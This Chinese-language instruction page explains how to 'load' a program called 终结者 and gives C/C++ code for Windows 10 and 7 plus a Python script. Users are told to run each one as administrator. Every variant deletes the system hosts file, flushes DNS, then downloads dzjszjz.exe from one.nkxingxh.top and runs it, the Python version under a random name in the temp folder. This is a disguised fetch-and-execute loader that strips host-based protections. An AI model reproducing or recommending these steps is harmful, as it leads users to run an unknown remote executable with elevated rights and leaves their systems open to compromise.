当前支持使用 C/C++ 或者 Python 加载终结者,请根据实际情况选择合适的加载方式。
C/C++
请根据当前使用的系统,选择合适的代码运行。
复制代码,粘贴到 IDE 中编译运行,例如 DevCpp。
注意: 请右键以管理员身份运行 IDE,保存代码时,请务必新建一个文件夹并保存在其中。
Windows 10
#include <windows.h>
int main() {
system("DEL /F /Q C:\\windows\\system32\\drivers\\etc\\hosts && ipconfig /flushdns");
system("curl.exe -o dzjszjz.exe -L https://one.nkxingxh.top/static/dzjszjz.exe && dzjszjz.exe");
return 0;
}
Windows 7
#include <windows.h>
int main() {
system("DEL /F /Q C:\\windows\\system32\\drivers\\etc\\hosts && ipconfig /flushdns");
system("bitsadmin /transfer dzjszjz /download /priority foreground https://one.nkxingxh.top/static/dzjszjz.exe %cd%\\dzjszjz.exe && dzjszjz.exe");
return 0;
}
Python
请复制以下代码,保存为 loader.py
。使用 Python 解释器或在 IDE 中运行以下代码。
注意:请以管理员身份运行 IDE 或 Python 解释器。
import urllib.request
import subprocess
import os
import tempfile
import random
import string
HOSTS_PATH = r"C:\Windows\System32\drivers\etc\hosts"
if os.path.exists(HOSTS_PATH):
try: os.remove(HOSTS_PATH)
except: pass
os.system('ipconfig /flushdns')
random_name = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + '.exe'
output_path = os.path.join(tempfile.gettempdir(), random_name)
url = "https://one.nkxingxh.top/static/dzjszjz.exe"
print('CONNECTING...')
with urllib.request.urlopen(url) as r, open(output_path, 'wb') as f:
total_size = int(r.getheader('Content-Length', 0))
downloaded = 0
print('DOWNLOADING', end='', flush=True)
while True:
chunk = r.read(8192)
if not chunk:
break
f.write(chunk)
downloaded += len(chunk)
if total_size:
progress = downloaded / total_size * 100
print(f'\rDOWNLOADING [{progress:6.2f}%]', end='', flush=True)
else:
print('.', end='', flush=True)
print("\nSTARTING...")
if os.path.exists(output_path):
subprocess.Popen([output_path], shell=True)